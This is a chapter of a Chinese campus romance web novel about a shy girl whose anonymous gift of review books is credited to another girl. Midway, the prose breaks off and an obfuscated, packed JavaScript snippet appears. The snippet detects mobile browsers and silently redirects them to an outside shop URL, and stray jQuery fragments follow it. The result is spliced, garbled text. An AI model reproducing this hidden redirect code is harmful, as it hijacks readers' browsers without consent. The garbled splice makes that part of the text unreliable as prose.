第十二章不署名的礼物
温知夏是在三天后知道那件事的。
那天中午，她去办公室交作业。路过高三教学楼楼下的时候，她看见了秦屿川和林微月。
两人站在花坛旁边。秦屿川手里抱着几本书，温知夏一眼就认出来了，那是她三天前放进他课桌抽屉里的复习资料。书脊上的那几个烫金字，在阳光下反射出细碎的光。
温知夏的脚步顿住了。
她条件反射地往旁边的柱子后面缩了一下，像做了坏事怕被抓住一样。
其实她离他们有一段距离。而且他们正在说话，没有人注意到她。
她看见林微月仰着脸，笑得很灿烂，嘴巴一张一合地说着什么。秦屿川微微低着头，听着，脸上的表情被树荫遮住，看不太清。
温知夏的心跳得很快。
她听不见他们在说什么。可她的视线牢牢地锁着秦屿川手里的那几本书，像被人掐住了脖子，呼吸都变得困难起来。
他看到了。
他拿出来了。
他……知道是谁放的了吗？
温知夏攥紧了手里的作业本，指甲陷进纸页里。
她应该走的。
她知道她应该走的。
可她的脚像生了根，怎么也挪不动。她盯着那两个人，心口处的酸涩感像潮水一样漫上来，一点一点地淹没了她。
过了一会儿，她看见秦屿川转身朝教学楼走去。林微月没有跟着，站在原地朝他挥了挥手，然后朝另一个方向走了。
温知夏松了一口气。
她正要从柱子后面出来，忽然听见身后传来两个女生的声音。
“诶，你刚才看见没？秦屿川跟林微月又在一起了。”
“他们俩到底是不是一对啊？我看秦屿川对林微月跟对别人挺不一样的。”
“肯定有戏。你没听说吗？前阵子有人往秦屿川课桌里塞了好几本复习资料，还写了个便签。秦屿川后来问了一圈，最后好像是林微月放的。”
温知夏的身子僵住了。
她站在原地，像一尊被突然冻住的雕像。周围的一切都变得模糊起来，只有那几个字，像针一样，一根一根地扎进来。
“最后好像是林微月放的。”
温知夏的眼眶猛地涨了一下。
她咬住下唇，低着头，快步离开了那里。
她走得很快，几乎是小跑着穿过小花园，冲进了主教学楼。直到跑进厕所的隔间，关上门，她才敢让自己大口大口地喘气。
她靠在门板上，仰起头，使劲眨着眼睛。
哭不出来。
可胸口处那种闷痛的感觉，却真实得让她弯下了腰。
林微月。
他以为那些资料是林微月放的。
温知夏不知道自己在难过什么。她明明从一开始就知道，自己做的这些事不会留下名字。她甚至故意没有署名，故意把便签写得那么潦草。她本来就不想让他知道。
可“不想让他知道”是一回事。
“他以为那是别人的”又是另一回事。
这两者之间，隔着一道叫做“林微月”的鸿沟。而温知夏赤着脚站在沟的这一边，看着他把她的心意，安到了另一个女孩头上。
那天下午的课，温知夏一个字都没听进去。
她坐在座位上，翻着课本，却连最简单的公式都看不进去。脑子里反反复复地回响着那两个女生的话。
“好像是林微月放的。”
好像。
为什么是好像？
因为秦屿川自己也没有确认过。他只是问了问身边的人，没有得到确切的答案，就理所当然地认为那是林微月做的。因为在他心里，会给他送复习资料、写“高考加油”的人，只会是林微月。
不可能是别人。
尤其不可能是她。
温知夏趴在桌上，把脸埋进臂弯里。
她的心像被一只无形的手，慢慢地、用力地攥紧了。疼得她呼吸都觉得困难。
“温知夏，你傻不傻。”她在心里对自己说，“你明明知道会是这样。”
是啊。
她早就知道。
从他问“你叫什么名字”的那一天起，她就知道，自己在他眼中不过是一个模糊的剪影。是一个需要别人提醒才能想起来的、无足轻重的存在。
她早就知道的。
可知道归知道。
当这一切真实地发生在眼前时，那种疼痛还是把她打了个措手不及。
那天晚上，温知夏回到家里，把铁盒从抽屉最深处翻了出来。
她打开盒子。
里面躺着一摞东西。那张元旦贺卡、那张生日贺卡、那张从课桌里捡来的草稿纸、几本薄薄的速写本，还有那件已经洗过不知道多少遍、上面早就没有了他的味道的校服。
她一件一件地看过去。
像是翻看着一本只有她自己才能读懂的账册。每一件，都是她喜欢秦屿川的证据。每一件，都是她一个人反复咀嚼过的心事。
温知夏拿起那张草稿纸，指尖抚过上面潦草的字迹。
“练球。”
“给老周带笔记。”
“下周三比赛。”
她笑了一下。
那时候她多开心啊。仅仅是一张他随手写过的纸，都能让她像是捡到了什么了不起的宝贝。
多傻。
温知夏把东西一件一件地放回盒子里，盖好盖子。
然后她把盒子重新塞回了抽屉最深处。
这一次，她没有用词典压住它。
她只是把抽屉关上，上了锁。
“快结束了。”她轻声对自己说。
等
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874018|212254||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她抬头看窗外的时候，才发现外面不知道什么时候又下起了雨。
细密密的，不大，像一层灰色的纱，笼罩着整个南城。
温知夏看着窗玻璃上缓慢滑落的水痕，忽然觉得，这场雨好像也不会停了。
接下来的日子里，温知夏再也没有去过高三的教学楼。
她收起了所有不切实际的念头，把所有的力气都放在了学习上。班主任说，高二下学期是最关键的一年，基础打不好，高三就很难追上来。
温知夏知道自己不聪明。她不像秦屿川那样，上课听一遍就能懂，考试随便考考就能进年级前二十。她的每一个分数，都是靠一道题一道题磨出来的。
她不想和他比。
她只想，等他高考完，等他离开这个学校之后，她还能有勇气想起他。
四月的一个晚上，温知夏做完了当天的习题，抬头活动脖子的时候，忽然看见了书架上的一本辅导书。
那书是她的，高一时候买的。封面很旧了，边角都起了毛边。可书里面夹着一张书签，是她用一张浅绿色的卡纸自己做的。
书签上写着四个字：“要努力啊。”
那是她高一的时候写的。
那时候她刚知道秦屿川的成绩是年级前二十，而自己只能勉强进前一百。她觉得自己和他之间，隔着一片看不见底的深海。可她还是想试试，想努力一点，再努力一点。
哪怕只是让那根拉住她的线，稍微短上一寸。
温知夏把那本书签抽出来，看了很久。
然后她把它夹进了现在正在用的这本数学练习册里。
“继续努力。”她小声对自己说。
不是为了追他。
是为了让自己，在将来想起这段日子的时候，不要只剩下遗憾。
五月的最后一天，温知夏从图书馆出来，天已经黑透了。
她站在图书馆门口的台阶上，看见远处高三年级的教学楼里灯火通明。
再过一周，他就要高考了。
温知夏站在夜色里，凝视着那些亮着灯的窗户，像是在看一片永远不会属于她的星光。
她在心里默默地说：“秦屿川，高考加油。”
然后，她转身，朝校门口走去。
书包里装着她刚刚整理好的笔记。那里面，有她花了一个晚上抄下来的、她自己都还没完全掌握的数学公式和易错题型。
她打算明天再偷偷地放进他的课桌里。
这一次，她没有写便签。
因为她知道，他不需要知道是谁。
他只需要考好。
就足够了。
而她的喜欢，就留在那个无人认领的角落里。
像一粒落入泥土的种子。
永远不会开花。
却也不曾死去。
（第十二章完）